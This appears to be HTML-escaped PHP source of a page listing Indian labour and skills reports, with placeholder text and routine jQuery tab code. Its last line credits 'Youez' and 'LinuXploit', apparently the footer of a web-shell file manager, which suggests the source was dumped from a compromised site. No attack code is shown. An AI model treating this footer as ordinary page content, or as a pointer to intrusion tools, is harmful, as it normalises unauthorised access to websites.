        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            India Skills Report 2021
          &lt;/h5&gt;
          &lt;p&gt; KEY INSIGHTS INTO THE POST-COVID LANDSCAPE OF TALENT DEMAND AND SUPPLY IN INDIA This report is a
            combination
            of an assessment of 65,000 candidates from across India, who appeared for the Wheebox National Employability
            Test (WNET) and 150+ corporates across 15 industries who participated in the India Hiring Intent survey.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
    &lt;div class=&quot;row&quot;&gt;
      &lt;div class=&quot;col-md-2 img-col &quot;&gt;
        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
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          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Ministry of Statistics and Program Implementation - PLFS Quarterly Bulletin, September, 2020
          &lt;/h5&gt;
          &lt;p&gt;Considering the importance of availability of labour force data at more frequent time intervals, National
            Statistical
            Office (NSO) launched Periodic Labour Force Survey (PLFS) on April 2017. On the basis of PLFS, a Quarterly
            Bulletin is
            brought out giving estimates of labour force indicators, viz., Worker population ratio (WPR), Labour Force
            Participation
            Rate (LFPR), Unemployment Rate (UR), distribution of workers by broad status in employment and industry of
            work in the
            Current Weekly Status (CWS).
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;

    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
    &lt;div class=&quot;row&quot;&gt;
      &lt;div class=&quot;col-md-2 img-col &quot;&gt;
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        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            World Employment and Social Outlook - International Labour Office • Geneva
          &lt;/h5&gt;
          &lt;p&gt;In India, by contrast, both labour demand and labour supply increased from mid-March 2020 onwards (see
            figure 1.10b). The
            increase in demand was largely driven by clerical and data entry, professional services, and software
            development and
            technology, and demand was 50 per cent higher than at the beginning of 2020. The increased demand for
            software
            development and technology could be due to the need for software solutions that enable a smooth functioning
            of a remote
            working environment. The increase in demand for work across other occupations could be attributed to the
            declining
            revenues of companies, and it is possible that many firms or clients were considering these platforms as a
            substitute
            for on-site work
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
    &lt;div class=&quot;row&quot;&gt;
      &lt;div class=&quot;col-md-2 img-col &quot;&gt;
        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
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          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Ministry of Statistics &amp; Program Implementation - PLFS Quarterly Bulletin, December, 2019
          &lt;/h5&gt;
          &lt;p&gt;Ministry of Statistics &amp; Program Implementation – PLFS covers rural and urban areas giving estimates of all
            important
            parameters of employment and unemployment. This report is for the Oct-Dec 2019 Quarter.

            ISF is member of Standing Committee Economic Statistics on the report.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
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        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
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          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            Ministry of Statistics &amp; Program Implementation - PLFS Quarterly Bulletin, September, 2019
          &lt;/h5&gt;
          &lt;p&gt;Ministry of Statistics &amp; Program Implementation – PLFS covers rural and urban areas giving estimates of all
            important
            parameters of employment and unemployment. It estimates labour force indicators, viz., Worker population
            ratio (WPR),
            Labour Force Participation Rate (LFPR), Unemployment Rate (UR), distribution of workers by broad status in
            employment
            and industry of work.

            ISF is member of Standing Committee Economic Statistics on the report.

          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
    &lt;div class=&quot;row&quot;&gt;
      &lt;div class=&quot;col-md-2 img-col &quot;&gt;
        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
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          &lt;button class=&quot;download-btn&quot;&gt;Download&lt;/button&gt;
        &lt;/div&gt;

      &lt;/div&gt;

      &lt;div class=&quot;col-md-10 &quot;&gt;
        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            CII ASCON Industry Survey August 2017
          &lt;/h5&gt;
          &lt;p&gt;
            The CII ASCON Survey, which tracks the growth of the industrial sector through the responses collected from
            sectoral
            industry associations, reveals slight improvement in growth trends in terms of production in Q1FY18 quarter
            over the
            corresponding quarter a year ago. However, the pace of recovery continues to be on the slow track in the
            surveyed
            quarter.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
    &lt;hr class=&quot;solid&quot; style=&quot;border-top: 1px solid #e1e1e1;&quot;&gt;
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      &lt;/div&gt;

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        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            World Bank Doing Business 13-full-report
          &lt;/h5&gt;
          &lt;p&gt;
            This work is a product of the staff of The World Bank with external contributions. Note that The World Bank
            does not
            necessarily own each component of the content included in the work.
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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    &lt;div class=&quot;row&quot;&gt;
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        &lt;div class=&quot;common-control mob-center form-group mb-0 mt-1 ml-3&quot;&gt;
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      &lt;/div&gt;

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        &lt;div class=&quot;common-control form-group mb-0 mt-1&quot;&gt;
          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            2012-12-20-E-and-RA-Sector-Guidance-DRAFT-for-Public-Consultation
          &lt;/h5&gt;
          &lt;p&gt;
            Guidance for the Employment &amp; Recruitment Agencies Sector on Implementing the UN Guiding Principles on
            Business and
            Human Rights

          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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          &lt;h5 class=&quot; mt-20&quot; style=&quot;font-Weight:600;&quot;&gt;
            IS asia adoptingflexicurity-PaulVandenberg
          &lt;/h5&gt;
          &lt;p&gt;
            Is Asia adopting flexicurity? A survey of employment policies in six countries
          &lt;/p&gt;

        &lt;/div&gt;

      &lt;/div&gt;


    &lt;/div&gt;
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            &lt;h3 style=&quot;font-size: 18px;color:#003373;line-height: 32px;font-weight: 600;margin:0px;&quot;&gt; INTRODUCTION&lt;/h3&gt;
            &lt;p&gt;Capitalize on low hanging fruit to identify a ballpark value added activity to beta test. Override the
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      &lt;h3 style=&quot;font-size: 18px;color:#003373;line-height: 32px;font-weight: 600;margin:5px;&quot;&gt; INTRODUCTION&lt;/h3&gt;
      &lt;p style=&quot;font-weight:500;&quot;&gt; If we want to wrap the text around an image in Html document using Internal CSS then
        we have to follow the steps which are given below. Using these steps we can easily wrap a text. &lt;br&gt;&lt;/br&gt; Step
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        to define a class.&#039; &lt;br&gt;&lt;/br&gt; Step 3: And, then we have to define the various properties for wrapping the text
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&lt;/div&gt;
&lt;section style=&quot;background-color: #f3faff;&quot;&gt;
  &lt;div class=&quot;rs-team grey-bg grid2 pt-50 md-pt-80 md-pb-50&quot;&gt;
    &lt;div class=&quot;container&quot; style=&quot;padding-bottom: 10px; display:flex; flex-direction:column;&quot;
      style=&quot;position:absolute;&quot;&gt;
      &lt;h2 style=&quot; padding-bottom:10px;text-align: -webkit-center&quot;&quot;&gt;Report Listing&lt;/h2&gt;
																&lt;div class=&quot; row&quot; style=&quot;    text-align: -webkit-center&quot;&gt;
        &lt;div class=&quot;col-md-4&quot;&gt;
          &lt;div class=&quot;blog-wrap&quot;&gt;
            &lt;div class=&quot;img-part&quot;&gt;
              &lt;img src=&quot;assets/images/research/1-01.png&quot; class=&quot;br-5&quot;&gt;
              &lt;div class=&quot;team-report&quot;&gt;
                &lt;span class=&quot;team-report-date&quot;&gt; February 13, 2019 &lt;/span&gt;
                &lt;h4 class=&quot;team-report-heading&quot;&gt;Team You Want to Work With mistakes... &lt;/h4&gt;
              &lt;/div&gt;
            &lt;/div&gt;
          &lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;col-md-4&quot;&gt;
          &lt;div class=&quot;blog-wrap&quot;&gt;
            &lt;div class=&quot;img-part&quot;&gt;
              &lt;img src=&quot;assets/images/research/2-01.png&quot; class=&quot;br-5&quot;&gt;
              &lt;div class=&quot;team-report&quot;&gt;
                &lt;span class=&quot;team-report-date&quot;&gt; February 13, 2019 &lt;/span&gt;
                &lt;h4 class=&quot;team-report-heading&quot;&gt;Team You Want to Work With mistakes... &lt;/h4&gt;
              &lt;/div&gt;
            &lt;/div&gt;
          &lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;col-md-4&quot;&gt;
          &lt;div class=&quot;blog-wrap&quot;&gt;
            &lt;div class=&quot;img-part&quot;&gt;
              &lt;img src=&quot;assets/images/research/3-01.png&quot; class=&quot;br-5&quot;&gt;
              &lt;div class=&quot;team-report&quot;&gt;
                &lt;span class=&quot;team-report-date&quot;&gt; February 13, 2019 &lt;/span&gt;
                &lt;h4 class=&quot;team-report-heading&quot;&gt;Team You Want to Work With mistakes... &lt;/h4&gt;
              &lt;/div&gt;
            &lt;/div&gt;
          &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;/div&gt;
&lt;/section&gt;

&lt;?php include&#039;footer.php&#039; ?&gt;
&lt;script&gt;
  $(document).ready(function () {
    $(&quot;.tablk&quot;).click(function () {
      $(&quot;.tablk&quot;).removeClass(&quot;active&quot;);
      // $(&quot;.tab&quot;).addClass(&quot;active&quot;); // instead of this do the below 
      $(this).addClass(&quot;active&quot;);
    });
  });
&lt;/script&gt;
&lt;script&gt;
  function openCity(evt, cityName) {
    // Declare all variables
    var i, tabcnt, tablk;

    // Get all elements with class=&quot;tabcnt&quot; and hide them
    tabcnt = document.getElementsByClassName(&quot;tabcnt&quot;);
    for (i = 0; i &lt; tabcnt.length; i++) {
      tabcnt[i].style.display = &quot;none&quot;;
    }

    // Get all elements with class=&quot;tablk&quot; and remove the class &quot;active&quot;
    tablk = document.getElementsByClassName(&quot;tablk&quot;);
    for (i = 0; i &lt; tablk.length; i++) {
      tablk[i].className = tablk[i].className.replace(&quot;active&quot;, &quot;&quot;);
    }

    // Show the current tab, and add an &quot;active&quot; class to the link that opened the tab
    document.getElementById(cityName).style.display = &quot;block&quot;;
    evt.currentTarget.className += &quot; active&quot;;
  }
&lt;/script&gt;</pre><center><br>Youez - 2016 - github.com/yon3zu<br><a href='https://linuxploit.com/' target='_blank'>LinuXploit</a></center>